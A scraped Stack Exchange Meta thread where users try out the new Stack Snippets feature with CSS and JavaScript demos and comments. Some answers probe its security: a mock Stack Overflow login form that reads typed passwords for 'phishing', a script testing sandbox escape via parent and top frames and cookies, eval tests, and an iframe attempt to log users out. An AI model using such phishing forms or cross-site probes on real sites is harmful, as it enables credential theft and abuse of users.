filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffc477', endColorstr='#fb9e25');
background-color:#ffc477;
-webkit-border-top-left-radius:42px;
-moz-border-radius-topleft:42px;
border-top-left-radius:42px;
-webkit-border-top-right-radius:0px;
-moz-border-radius-topright:0px;
border-top-right-radius:0px;
-webkit-border-bottom-right-radius:42px;
-moz-border-radius-bottomright:42px;
border-bottom-right-radius:42px;
-webkit-border-bottom-left-radius:0px;
-moz-border-radius-bottomleft:0px;
border-bottom-left-radius:0px;
text-indent:0px;
border:1px solid #eeb44f;
display:inline-block;
color:#ffffff;
font-family:Arial;
font-size:15px;
font-weight:bold;
font-style:normal;
height:65px;
line-height:65px;
width:131px;
text-decoration:none;
text-align:center;
text-shadow:-1px -1px 0px #cc9f52;
}
#spin:active {
background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #fb9e25), color-stop(1, #ffc477) );
background:-moz-linear-gradient( center top, #fb9e25 5%, #ffc477 100% );
}
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fb9e25', endColorstr='#ffc477');
background-color:#fb9e25;
}.spin:active {
position:relative;
top:1px;
}<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script type="text/javascript" src="http://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.3/jquery.easing.min.js"></script>
<p id="blame">The Wheel of Blame!</p>
<br class="clearfix" />
<ul>
<li><img src="https://i.sstatic.net/DdIcm.png" alt="" /> It's the SO Dev Team's fault!</li>
<li><span id="csharp">C#</span> It's C#'s fault!</li></ul>
<button id="spin" disabled>Loading...</button>-
And I was just about to do this one. Also seems that it's always Tim Stone's fault, but this could be because of a blocked script on my end.gunr2171– gunr21712014-08-26 13:41:12 +00:00Commented Aug 26, 2014 at 13:41
-
4@gunr2171 it appears to be broken, always pointing on same person so feel free to fix it. ;)user447356– user4473562014-08-26 13:42:28 +00:00Commented Aug 26, 2014 at 13:42
-
1@gunr2171 also note it's taking all the members of MSE Tavern, unlike the original Wheel which had a fixed list.user447356– user4473562014-08-26 13:43:03 +00:00Commented Aug 26, 2014 at 13:43
-
I started to fix it, then I found that this mess of an implementation would take more than 60 seconds to fix, then I realised I didn't care, so I gave up and rolled back.Lightness Races in Orbit– Lightness Races in Orbit2014-08-26 14:01:36 +00:00Commented Aug 26, 2014 at 14:01
-
@LightnessRacesinOrbit cheers, it's taken from a fiddle I once messed with, trying to improve the original and messing things up in the process.user447356– user4473562014-08-26 14:19:14 +00:00Commented Aug 26, 2014 at 14:19
-
Is it just me, or does the wheel give the same answer every time?user1228– user12282014-08-26 17:07:17 +00:00Commented Aug 26, 2014 at 17:07
-
1Is it just me, or are comment deletions broken? Goddamnit.user1228– user12282014-08-26 17:08:15 +00:00Commented Aug 26, 2014 at 17:08
-
@Will comments can be deleted just fine, as for same answer you're right, I took borked version by mistake and no time ATM to fix it - luckily, it's just a sandbox here. :Duser447356– user4473562014-08-26 18:49:33 +00:00Commented Aug 26, 2014 at 18:49
-
@iStimple it's bugged, didn't delve deep enough to find why it's not random. You're there because you're in the Tavern. :Duser447356– user4473562014-08-26 20:12:04 +00:00Commented Aug 26, 2014 at 20:12
-
Poor Tim Post--he's always messing upIan– Ian2014-08-28 17:07:48 +00:00Commented Aug 28, 2014 at 17:07
-
1It's not random because CORS is required to load random.org. You also didn't request a new random number when you click the button.Sumurai8– Sumurai82014-08-31 08:01:11 +00:00Commented Aug 31, 2014 at 8:01
-
@Sumurai8 heh, not my code to begin with, was just messing around with the original code long ago (intending just to take the Tavern's members instead of a fixed list) and never had time to really finish it. Thanks a bunch! :Duser447356– user4473562014-08-31 08:06:45 +00:00Commented Aug 31, 2014 at 8:06
-
3You still owe me unicoins. I DEMAND unicoins.Sumurai8– Sumurai82014-08-31 09:01:22 +00:00Commented Aug 31, 2014 at 9:01
-
@Sumurai8 remind me in next April Fools or Winter Bash! :)user447356– user4473562014-08-31 10:05:17 +00:00Commented Aug 31, 2014 at 10:05
-
Your SO dev team image is no longer available :/Spotlight– Spotlight2016-05-13 02:31:02 +00:00Commented May 13, 2016 at 2:31
A starry night sky.
w=c.width=window.innerWidth,h=c.height=window.innerHeight,C=c.getContext('2d');(function L(){requestAnimationFrame(L);C.fillStyle='rgba('+[0,0,0,M.abs(M.sin(Date.now())/10)]+')';C.fillRect(0,0,w,h);C.fillStyle='rgb('+[R()*255|0,R()*255|0,R()*255|0]+')';C.fillRect(R()*w,R()*h,3,3)})(M=Math,R=M.random)*{padding:0;margin:0;background:#000}<canvas id=c>w=c.width=window.innerWidth;
h=c.height=window.innerHeight;
C=c.getContext('2d');
x=0,y=0,s=1;
(function Z(){
setTimeout(Z,0);
N=Date.now()/1e3;
for(y=0;y<h;y+=s){
b=1e3*-~x/-~y;
f='rgb('+[A(S(N-b))*255|0,A(S(N-b*2))*255|0,A(S(N-b*3))*255|0]+')';
C.fillStyle=f;
C.fillRect(x,y,s,s);
}
x=x<w?x+s:0;
})(S=Math.sin,A=Math.abs)*{padding:0;margin:0;background:#000}<canvas id=c>CSS :nth-child() and animation properties
* {
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
body {
background: whitesmoke;
text-align: center;
-webkit-perspective: 1000;
-moz-perspective: 1000;
perspective: 1000;
}
.wrapper {
margin: 0 auto;
}
.loader {
height: .8em;
width: .8em;
border-radius: .2em;
background: white;
display: inline-block;
opacity: 0;
margin-top: 20px;
}
.loader {
-webkit-transform: translateX(0);
-moz-transform: translateX(0);
transform: translateX(0);
}
.loader:nth-child(1n+2) {
-webkit-animation: flipintoright 750ms 375ms infinite;
-moz-animation: flipintoright 750ms 375ms infinite;
animation: flipintoright 750ms 375ms infinite;
}
.loader:nth-child(2n+1) {
-webkit-animation: flipintoright 750ms infinite;
-moz-animation: flipintoright 750ms infinite;
animation: flipintoright 750ms infinite;
}
@-webkit-keyframes flipintoright {
0% {
-webkit-transform: rotateY(0);
background-color: yellow;
opacity: .5;
}
25% {
-webkit-transform: rotateY(90deg) scale(.75);
opacity: .75;
background-color: orange;
}
50% {
-webkit-transform: rotateY(180deg) scale(.5);
opacity: 1;
background-color: red;
}
75% {
-webkit-transform: rotateY(270deg) scale(.75);
opacity: .75;
background-color: orange;
}
100% {
-webkit-transform: rotateY(360deg) scale(1);
opacity: .5;
background-color: yellow;
}
}
@-moz-keyframes flipintoright {
0% {
-moz-transform: rotateY(0);
background-color: yellow;
opacity: .5;
}
25% {
-moz-transform: rotateY(90deg) scale(.75);
opacity: .75;
background-color: orange;
}
50% {
-moz-transform: rotateY(180deg) scale(.5);
opacity: 1;
background-color: red;
}
75% {
-moz-transform: rotateY(270deg) scale(.75);
opacity: .75;
background-color: orange;
}
100% {
-moz-transform: rotateY(360deg) scale(1);
opacity: .5;
background-color: yellow;
}
}
@keyframes flipintoright {
0% {
-webkit-transform: rotateY(0);
background-color: yellow;
opacity: .5;
}
25% {
transform: rotateY(90deg) scale(.75);
opacity: .75;
background-color: orange;
}
50% {
transform: rotateY(180deg) scale(.5);
opacity: 1;
background-color: red;
}
75% {
transform: rotateY(270deg) scale(.75);
opacity: .75;
background-color: orange;
}
100% {
transform: rotateY(360deg) scale(1);
opacity: .5;
background-color: yellow;
}
}<div class="wrapper">
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<div class="loader"></div>
<p>Loading...</p>
</div>HTML5 PROGRESS BAR
@import url(http://fonts.googleapis.com/css?family=Expletus+Sans);
/* Basic resets */
* {
margin:0; padding:0;
box-sizing: border-box;
}
body {
margin: 50px auto 0;
max-width: 800px;
font-family: "Expletus Sans", sans-serif;
}
li {
width: 50%;
float: left;
list-style-type: none;
padding-right: 5.3333333%;
}
li:nth-child(even) { margin-bottom: 5em;}
h2 {
margin: 0 0 1.5em;
border-bottom: 1px solid #ccc;
padding: 0 0 .25em;
}
/* Styling an indeterminate progress bar */
progress:not(value) {
/* Add your styles here. As part of this walkthrough we will focus only on determinate progress bars. */
}
/* Styling the determinate progress element */
progress[value] {
/* Get rid of the default appearance */
appearance: none;
/* This unfortunately leaves a trail of border behind in Firefox and Opera. We can remove that by setting the border to none. */
border: none;
/* Add dimensions */
width: 100%; height: 20px;
/* Although firefox doesn't provide any additional pseudo class to style the progress element container, any style applied here works on the container. */
background-color: whiteSmoke;
border-radius: 3px;
box-shadow: 0 2px 3px rgba(0,0,0,.5) inset;
/* Of all IE, only IE10 supports progress element that too partially. It only allows to change the background-color of the progress value using the 'color' attribute. */
color: royalblue;
position: relative;
margin: 0 0 1.5em;
}
/*
Webkit browsers provide two pseudo classes that can be use to style HTML5 progress element.
-webkit-progress-bar -> To style the progress element container
-webkit-progress-value -> To style the progress element value.
*/
progress[value]::-webkit-progress-bar {
background-color: whiteSmoke;
border-radius: 3px;
box-shadow: 0 2px 3px rgba(0,0,0,.5) inset;
}
progress[value]::-webkit-progress-value {
position: relative;
background-size: 35px 20px, 100% 100%, 100% 100%;
border-radius:3px;
/* Let's animate this */
animation: animate-stripes 5s linear infinite;
}
@keyframes animate-stripes { 100% { background-position: -100px 0; } }
/* Let's spice up things little bit by using pseudo elements. */
progress[value]::-webkit-progress-value:after {
/* Only webkit/blink browsers understand pseudo elements on pseudo classes. A rare phenomenon! */
content: '';
position: absolute;
width:5px; height:5px;
top:7px; right:7px;
background-color: white;
border-radius: 100%;
}
/* Firefox provides a single pseudo class to style the progress element value and not for container. -moz-progress-bar */
progress[value]::-moz-progress-bar {
/* Gradient background with Stripes */
background-image:
-moz-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-moz-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-moz-linear-gradient( left, #09c, #f44);
background-size: 35px 20px, 100% 100%, 100% 100%;
border-radius:3px;
/* Firefox doesn't support CSS3 keyframe animations on progress element. Hence, we did not include animate-stripes in this code block */
}
/* Fallback technique styles */
.progress-bar {
background-color: whiteSmoke;
border-radius: 3px;
box-shadow: 0 2px 3px rgba(0,0,0,.5) inset;
/* Dimensions should be similar to the parent progress element. */
width: 100%; height:20px;
}
.progress-bar span {
background-color: royalblue;
border-radius: 3px;
display: block;
text-indent: -9999px;
}
p[data-value] {
position: relative;
}
/* The percentage will automatically fall in place as soon as we make the width fluid. Now making widths fluid. */
p[data-value]:after {
content: attr(data-value) '%';
position: absolute; right:0;
}
.html5::-webkit-progress-value,
.python::-webkit-progress-value {
/* Gradient background with Stripes */
background-image:
-webkit-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-webkit-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-webkit-linear-gradient( left, #09c, #f44);
}
.css3::-webkit-progress-value,
.php::-webkit-progress-value
{
/* Gradient background with Stripes */
background-image:
-webkit-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-webkit-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-webkit-linear-gradient( left, #09c, #ff0);
}
.jquery::-webkit-progress-value,
.node-js::-webkit-progress-value
{
/* Gradient background with Stripes */
background-image:
-webkit-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-webkit-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-webkit-linear-gradient( left, #09c, #690);
}
/* Similarly, for Mozillaa. Unfortunately combining the styles for different browsers will break every other browser. Hence, we need a separate block. */
.html5::-moz-progress-bar,
.php::-moz-progress-bar {
/* Gradient background with Stripes */
background-image:
-moz-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-moz-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-moz-linear-gradient( left, #09c, #f44);
}
.css3::-moz-progress-bar,
.php::-moz-progress-bar {
{
/* Gradient background with Stripes */
background-image:
-moz-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-moz-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-moz-linear-gradient( left, #09c, #ff0);
}
.jquery::-moz-progress-bar,
.node-js::-moz-progress-bar {
/* Gradient background with Stripes */
background-image:
-moz-linear-gradient( 135deg,
transparent,
transparent 33%,
rgba(0,0,0,.1) 33%,
rgba(0,0,0,.1) 66%,
transparent 66%),
-moz-linear-gradient( top,
rgba(255, 255, 255, .25),
rgba(0,0,0,.2)),
-moz-linear-gradient( left, #09c, #690);
}
/* Now we are good to duplicate html code for other skills and then add the css code for the new skill based on data-skill */
/* THE END */<progress style="text-align: right" id="progressBar" value="0" max="100" style="width:300px;"></progress>
<span id="status"></span>
<h1 id="finalMessage"></h1>
<script type="text/javascript" language="javascript">
function progressBarSim(al) {
var bar = document.getElementById('progressBar');
var status = document.getElementById('status');
status.innerHTML = al+"%";
bar.value = al;
al++;
var sim = setTimeout("progressBarSim("+al+")",300);
var finalMessage = document.getElementById('finalMessage');
finalMessage.innerHTML = "In Progress!!!";
if(al == 100){
status.innerHTML = "100%";
bar.value = 100;
clearTimeout(sim);
//var finalMessage = document.getElementById('finalMessage');
finalMessage.innerHTML = "You Got a Reward!!! 🏆";
}
}
var amountLoaded = 0;
progressBarSim(amountLoaded);
</script>-
9I was expecting a reward when I reached 100%... :(Mistalis– Mistalis2017-03-28 11:46:29 +00:00Commented Mar 28, 2017 at 11:46
-
4You can find reward now!!! :PChandra Sekhar K– Chandra Sekhar K2018-06-21 06:07:16 +00:00Commented Jun 21, 2018 at 6:07
Here's an example of how things could go wrong. Imagine that instead of being in the answer, where it's obvious what's going on, this is all inserted from an externally loaded script.
var u;
var p;
function DoBadStuff(){
u = document.getElementById('u');
p = document.getElementById('p');
console.log(u.value);
console.log(p.value);
/* Theoretically send phished passwords off somewhere via AJAX */
}#warning {
background: red;
color: white;
padding: 5px;
position: absolute;
width: 100%;
top: 0;
right: 0;
left: 0;
opacity: 0;
transition: opacity 0.5s;
text-align: center;
}
body:hover #warning {
opacity: 0.9;
}
body, warning p {
padding: 0;
margin: 0;
}
body {
font-family: sans-serif;
}
#f input {
width: 300px;
border: 1px solid #ccc;
margin: 5px 0;
padding: 1px 5px;
line-height: 20px;
}
#f {
background: #EAEAEA;
border: #AAA solid 1px;
width: 50%;
padding: 10px;
float: right;
margin: 40px 0 0 0;
}
#i {
width: 40%;
width: calc(100% - 380px);
float: left;
padding: 10px 0 0 10px;
}<div id="warning"><p><strong>Warning!</strong> Don't actually enter your password... this isn't a real login form!</p></div>
<div id="i">
<img src="https://cdn.sstatic.net/stackexchange/img/logos/so/so-logo.png" width="200" alt="Stack Overflow" />
<p>Stack Snippets are only available to logged in users with 200 reputation. Please enter your Stack Exchange credentials to log in.</p>
</div>
<div id="f">
<input type="text" id="u" placeholder="email" /> <br/>
<input type="password" id="p" placeholder="password" /> <br/>
<button id="b" onclick="DoBadStuff()">Log In</button>
</div>-
3If it was true, i would except to don't see the "Run code snippet" button at all :)Marco Acierno– Marco Acierno2014-08-27 17:26:55 +00:00Commented Aug 27, 2014 at 17:26
-
4@MarcoAcierno a lot of people are gullible, and a lot of sites don't tell you that you can't do something until you try to do it.nhinkle– nhinkle2014-08-27 17:29:00 +00:00Commented Aug 27, 2014 at 17:29
-
4@MarcoAcierno Consider SO's vote buttons and "add comment" link button -- those are all visible to users who can't use them, and the site doesn't mention it until you try to use one of them.apsillers– apsillers2014-08-28 15:01:45 +00:00Commented Aug 28, 2014 at 15:01
-
-
@MarcoAcierno, this is a world where people send their life savings to someone who sent them a random email. I think the example here is excellent social engineering with the SO logo and how it is worded. Could easily fool someone into giving away their username and password, which is then probably the same credentials they use everywhere else.Martin Capodici– Martin Capodici2014-09-01 21:41:13 +00:00Commented Sep 1, 2014 at 21:41
-
1Possible solutions: 1. run code in new window like a JSFiddle. different domain e.g. stackoverflowsnippets.com. use these cues to indicate that it isn't as trustworthy as the original stackoverflow.com. 2. annoying popup to warn you of the danger and then click accept (uck!). 3. snippets need reputation level to create immediately. if you don't have the rep someone else needs to approve. although that could drive people back to using jsfiddle. 4. moderate quickly, automatically prioritise any snippet with 'username' or 'password' etc.Martin Capodici– Martin Capodici2014-09-01 21:45:00 +00:00Commented Sep 1, 2014 at 21:45
-
@MartinCapodici I like the idea of only allowing users with a certain reputation level to create snippets, although there'd have to be a way to handle edits. Perhaps snippets created or edited by low-rep users would go into a review queue. There'll always be a risk though; you could for example import a script from your own webserver that looks like it's some library or innocent code, but then later change it to something malicious without ever changing the SO post.nhinkle– nhinkle2014-09-02 01:31:45 +00:00Commented Sep 2, 2014 at 1:31
-
@MartinCapodici, This is also a world where people don't care about that as long as they aren't the victim meta.stackoverflow.com/questions/269753/…Pacerier– Pacerier2014-09-29 14:25:13 +00:00Commented Sep 29, 2014 at 14:25
Ninja Name Generator
var items = new Array(
"a", "ka", "sa", "ta", "na", "ha", "ma", "ya", "ra", "wa",
"i", "ki", "shi", "chi", "ni", "hi", "mi", "ri",
"u", "ku", "su", "tsu", "nu", "fu", "mu", "yu", "ru",
"e", "ke", "se", "te", "ne", "he", "me", "re",
"o", "ko", "so", "to", "no", "ho", "mo", "yo", "ro", "wo",
"kya", "sha", "cha", "nya", "hya", "mya", "rya",
"kyu", "shu", "chu", "nyu", "hyu", "myu", "ryu",
"kyo", "sho", "cho", "nyo", "hyo", "myo", "ryo",
"ga", "za", "da", "ba", "pa",
"gi", "ji", "bi", "pi",
"gu", "zu", "bu", "pu",
"ge", "ze", "de", "be", "pe",
"go", "zo", "do", "bo", "po",
"gya", "ja", "bya", "pya",
"gyu", "ju", "byu", "pyu",
"gyo", "jo", "byo", "pyo"
);
function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function capitalise(string) {
return string.charAt(0).toUpperCase() + string.slice(1).toLowerCase();
}
function random_jp() {
var result = new Array(0,0,0,0,0).slice(0, getRandomInt(3,5)).map(function () {
return items[Math.floor(Math.random() * items.length)];
});
return capitalise(result.join(""));
}
window.onload = function() {
var elem = document.getElementById("ninja-name");
elem.innerHTML = "You are " + random_jp() + ", master of the " + random_jp() + " ninja technique!"
};<h1 id="ninja-name"> Go go javascript! </h1>-
5For some reason they don't sound at all like japanese; I guess one "easy" fix would be to take a huge chunk of japanese text, romanize it, calculate "weights" for each kana, and use those weights when generating the names.Camilo Martin– Camilo Martin2015-05-31 19:57:47 +00:00Commented May 31, 2015 at 19:57
Print months in your own language
m = [];
for (i = 12; i--;) {
m[i] = (new Date(0, i, 5)).toLocaleString(0, {
month: "long"
});
}
document.write(m)-
It starts by the last month in French (December, January, February, ... November) :(Maxime Lorant– Maxime Lorant2014-08-26 08:02:27 +00:00Commented Aug 26, 2014 at 8:02
-
@MaximeLorant It should have been fixed now :PAdam Barak– Adam Barak2014-08-26 08:04:36 +00:00Commented Aug 26, 2014 at 8:04
-
Let me fix this... German had march two times and no october. Now everything is there.Artjom B.– Artjom B.2014-08-26 08:05:38 +00:00Commented Aug 26, 2014 at 8:05
-
@ArtjomB With your fix I have the same problem as Maxime Lorant xDAdam Barak– Adam Barak2014-08-26 08:07:07 +00:00Commented Aug 26, 2014 at 8:07
-
1@ArtjomB I think it depends on the browser after all. Changed 11 to 12 and now it's fine.Adam Barak– Adam Barak2014-08-26 08:08:15 +00:00Commented Aug 26, 2014 at 8:08
-
4It works fine for me now, don't touch anything, I don't care of other languages :pMaxime Lorant– Maxime Lorant2014-08-26 08:14:57 +00:00Commented Aug 26, 2014 at 8:14
-
iPad output is ... 5 January 1900 00:00:00 GMT,5 February 1900 00:00:00 GMT,5 March 1900 00:00:00 GMT,4 April 1900 23:00:00 GMT, [etc]. Note how it takes care of the clock-change at the end of March.Andrew Leach– Andrew Leach2014-08-27 18:03:32 +00:00Commented Aug 27, 2014 at 18:03
I've noticed some points during testing:
- the language order is not the same in the displayed post and in edit mode, this is a bit confusing
- you can't edit the code using the code snippet tool: if you have already the
Begin snippet: jstag in your content and click on the button, the content is not prefilled - make edit pane resizable because they are too small, and depending on what you do you want more space for JavaScript or for CSS only
- there is no error reporting when the code fails, neither syntax errors or runtime errors
- debugger keyword is not working for me using Firefox 30: the Firebug debugger is activated but the file shown is blank making impossible to use step into/over buttons
- since the JS code is all inlined on one single line, it doesn't handle simple comments in your code (test at the end of my snippet below)
Also, here are my two cents tests, almost accessing all kind of objects and properties (with no success so far):
function debug() {
var args = [].slice.call(arguments);
console.log.apply(console, args);
/*window.alert.apply(window, [args.join(' ')]);*/
}
function showType(a, b) {
debug(a, typeof b);
}
var TESTS = [
/* PASSING TESTS */
function() {
debug('#################');
debug('# PASSING TESTS #');
debug('#################');
},
function() {
showType('parent ', parent);
},
function() {
showType('parent.window', parent.window);
},
function() {
showType('console', console);
},
function() {
showType('top', top);
},
function() {
showType('eval', eval);
},
function() {
showType('parent.postMessage', parent.postMessage);
},
function() {
showType('top.postMessage', top.postMessage);
},
function() {
showType('document.cookies', document.cookies);
},
function() {
debug( Object.keys(window) );
/* prints: window,location,top,document,InstallTrigger,console,showType,TESTS,external,sidebar */
},
function() {
debug( Object.keys(document) );
/* prints: location */
},
function() {
debug( Object.keys(top) );
debug( Object.keys(top).length );
/* prints: 0 */
},
function() {
debug( Object.keys(parent) );
debug( Object.keys(parent).length );
/* prints: 0 */
},
function() {
console.log('some log output');
},
function(){
showType('top.top', top.top);
},
function(){
showType('parent.top', parent.top);
},
function(){
showType('top.location', top.location);
},
function(){
showType('parent.location', parent.location);
},
function(){
showType('top.window', top.window);
},
function(){
showType('parent.window', parent.window);
},
function(){
showType('parent', parent);
},
function(){
showType('parent.window', parent.window);
},
function(){
showType('parent.window.parent', parent.window.parent);
},
function(){
showType('parent.window.parent.window', parent.window.parent.window);
},
function(){
showType('window.addEventListener', window.addEventListener);
},
function(){
showType('parent.window.top', parent.window.top);
},
function() {
debug(top === parent);
debug(top.postMessage=== parent.postMessage);
},
function(){
showType('parent.window.onbeforeunload', parent.window.onbeforeunload);
},
function(){
showType('parent.window.document', parent.window.document);
},
function(){
showType('parent.location.replace', parent.location.replace);
},
function(){
eval("showType('parent', parent);");
},
/* MIXED TESTS */
/* with success and failures */
function() {
debug('###############');
debug('# MIXED TESTS #');
debug('###############');
},
function() {
var keys = Object.keys(window), i = keys.length, name;
while (name = keys[--i])
{
try {
showType('top.'+name, top[name]);
} catch (e) {
debug('KO top.'+name, e);
}
try {
showType('parent.'+name, parent[name]);
} catch (e) {
debug('KO parent.'+name, e);
}
}
},
/* FAILING TESTS */
function() {
debug('#################');
debug('# FAILING TESTS #');
debug('#################');
},
function KO() {
showType('parent.document', parent.document);
},
function KO() {
showType('parent.document.cookies', parent.document.cookies);
},
function KO() {
showType('parent.document.postMessage', parent.document.postMessage);
},
function KO() {
showType('parent.window.alert', parent.window.alert);
},
function KO() {
showType('parent.window.StackExchange', parent.window.StackExchange);
},
function KO() {
showType('parent.window.console', parent.window.console);
},
function KO() {
showType('parent.cookies', parent.cookies);
},
function KO() {
showType('top.cookies', top.cookies);
},
function KO() {
showType('parent.StackExchange', parent.StackExchange);
},
function KO() {
showType('top.StackExchange', top.StackExchange);
},
function KO() {
showType('parent.alert', parent.alert);
},
function KO() {
showType('top.alert', top.alert);
},
function KO() {
showType('parent.console', parent.console);
},
function KO() {
showType('top.console', top.console);
},
function KO() {
showType('parent.addEventListener', parent.addEventListener);
},
function KO() {
showType('top.addEventListener', top.addEventListener);
},
function KO() {
showType('top.snippetRenderer', top.snippetRenderer);
},
function KO() {
showType('parent.snippetRenderer', parent.snippetRenderer);
},
function KO() {
showType('top.jQuery', top.jQuery);
},
function KO() {
showType('parent.jQuery', parent.jQuery);
},
function KO(){
showType('parent.addEventListener', parent.addEventListener);
},
function KO(){
showType('parent.window.parent.addEventListener', parent.window.parent.addEventListener);
},
function KO(){
showType('parent.window.top.addEventListener', parent.window.top.addEventListener);
},
function KO(){
parent.location.replace('https://stackoverflow.com');
},
function KO(){
showType('parent.location.href', parent.location.href);
},
function KO(){
parent.location.href = 'https://stackoverflow.com'
},
function KO(){
eval("showType('parent.addEventListener', parent.addEventListener);");
},
function KO(){
showType('parent.window.open', parent.window.open);
},
function KO(){
top.window.top.open('https://stackoverflow.com', '_blank');
},
function KO(){
window.open('https://stackoverflow.com', '_blank');
},
];
TESTS.forEach(function(test) {
debug('Running:', test.toString());
try {
test();
} catch (e) {
debug('KO ', e);
}
});
alert('Almost end of the script');
// following code will never be executed
alert('End of the script');-
6Ooh, good catch on the inline comments. Need to fix that.2014-08-26 14:56:54 +00:00Commented Aug 26, 2014 at 14:56
-
I've not tested it but it may have some others problems related to ASI or semicolon omissionpomeh– pomeh2014-08-26 15:18:16 +00:00Commented Aug 26, 2014 at 15:18
Epilepsy Warning!!! (thanks @Haney)
var x = 0;
var y = 0;
var dx = -1;
var dy = -1;
var hue = 0;
function move()
{
var bump = false;
if (x <= 0 || x > document.body.scrollWidth - 105) { dx = -dx; bump = true; }
x += dx;
if (y <= 0 || y > document.body.scrollHeight - 105) { dy = -dy; bump = true; }
y += dy;
block.style.left = x + 'px';
block.style.top = y + 'px';
if (bump) {
var r = Math.floor((Math.sin(hue) + 1) * 8);
var g = Math.floor((Math.sin(hue - Math.PI * 2 / 3) + 1) * 8);
var b = Math.floor((Math.sin(hue + Math.PI * 2 / 3) + 1) * 8);
console.log('#' + r.toString(16) + g.toString(16) + b.toString(16));
block.style.background = '#' + r.toString(16) + g.toString(16) + b.toString(16);
hue += .5;
}
}
setInterval(move, 5);#block {
width: 100px;
height: 100px;
border: 5px solid gray;
border-radius: 100%;
position: fixed;
opacity: 0.5;
background: #444;
}<div id="block"></div>-
Follow the bouncing ball.....sheldonhull– sheldonhull2016-05-12 16:40:18 +00:00Commented May 12, 2016 at 16:40
-
5One of my eyes fell to the ground looking at thisMistalis– Mistalis2017-03-28 11:48:42 +00:00Commented Mar 28, 2017 at 11:48
I suppose global eval should be blocked?
(0,eval)("alert('indirect eval call not blocked')");
new Function("alert('function constructor not blocked')")();Or maybe not. It's global to the sandbox after all.
-
2Doesn't load anything (blank, no error or warning).Carcigenicate– Carcigenicate2014-08-26 00:37:12 +00:00Commented Aug 26, 2014 at 0:37
-
23Don't you get the alerts? I get both on Chrome.bfavaretto– bfavaretto2014-08-26 00:37:43 +00:00Commented Aug 26, 2014 at 0:37
-
2Nothing. After I press the button, the Fram expands, but remains empty, and nothing else happens.Carcigenicate– Carcigenicate2014-08-26 01:09:17 +00:00Commented Aug 26, 2014 at 1:09
-
No alerts in Opera 23 either.Sean Vieira– Sean Vieira2014-08-26 01:32:54 +00:00Commented Aug 26, 2014 at 1:32
-
Nothing happens in FF 31.0Andrew T.– Andrew T.2014-08-26 02:43:18 +00:00Commented Aug 26, 2014 at 2:43
-
I get both on--here goes, be nice!--IE 11.Matthew Haugen– Matthew Haugen2014-08-26 05:01:05 +00:00Commented Aug 26, 2014 at 5:01
-
Nothing happens in chrome, as @Carcigenicate saidAntonio– Antonio2014-08-26 06:54:51 +00:00Commented Aug 26, 2014 at 6:54
-
1It works on both FF and Chrome for me. The reason why it is not working for some is because of browser settings, not because the code does not workSammaye– Sammaye2014-08-26 07:14:49 +00:00Commented Aug 26, 2014 at 7:14
-
Okay, now it happened in FF 31.0. I didn't change any settings. I don't know why...Andrew T.– Andrew T.2014-08-26 07:27:17 +00:00Commented Aug 26, 2014 at 7:27
-
Not working for me on Chrome 36.0.1985.143, Ubuntu 12.04Ajedi32– Ajedi322014-08-26 13:37:58 +00:00Commented Aug 26, 2014 at 13:37
-
12@Whom it didn't work, is it because you tried Abhi's asnwer and ticked the
Prevent this page from showing additional dialogsor its equivalent for your browser? xDDan– Dan2014-08-26 15:17:38 +00:00Commented Aug 26, 2014 at 15:17
Can I log you out?
<iframe src="https://www.stackoverflow.com/users/logout"></iframe>
<img src="https://www.stackoverflow.com/users/logout" />-
3didn't log me out :(
http://stackoverflow.com/users/logout does not permit cross-origin framingCRABOLO– CRABOLO2014-08-28 00:28:43 +00:00Commented Aug 28, 2014 at 0:28 -
1Blank iframe...Zoe - Save the data dump– Zoe - Save the data dump2017-07-17 14:35:00 +00:00Commented Jul 17, 2017 at 14:35
Sierpinski's Triangle
window.onload
=
function ()
{
var L=400,ST=document.getElementById("st");
ST.style.width=L + "px";
ST.style.height=L + "px";
var div=null;
function addPointAt(a)
{
div=document.createElement("div");
div.style.left=Math.round(a[0]) + "px";
div.style.top=Math.round(a[1]) + "px";
ST.appendChild(div);
}
var V=[[L,L],[Math.round(L/2.0),0],[0,L]];
addPointAt(V[0]),addPointAt(V[1]),addPointAt(V[2]);
var DOSTERCIOS=2.0/3.0,UNTERCIO=1.0/3.0;
var n=null,r=Math.random();
if ( r<UNTERCIO ) n=0; else if ( r<DOSTERCIOS ) n=1; else n=2;
var p=[V[n][0],V[n][1]];
var ITERATIONS=10000;
for ( var i=0 ; i<ITERATIONS ; ++i ) {
r=Math.random();
if ( r<UNTERCIO ) n=0; else if ( r<DOSTERCIOS ) n=1; else n=2;
p[0]=(V[n][0] + p[0])/2.0;
p[1]=(V[n][1] + p[1])/2.0;
addPointAt(p);
}
document.getElementsByTagName("span")[0].innerHTML="";
};body
{
height:100%;
}
#st
{
position:relative;
margin:0 auto;
background-color:#fff;
}
#st div
{
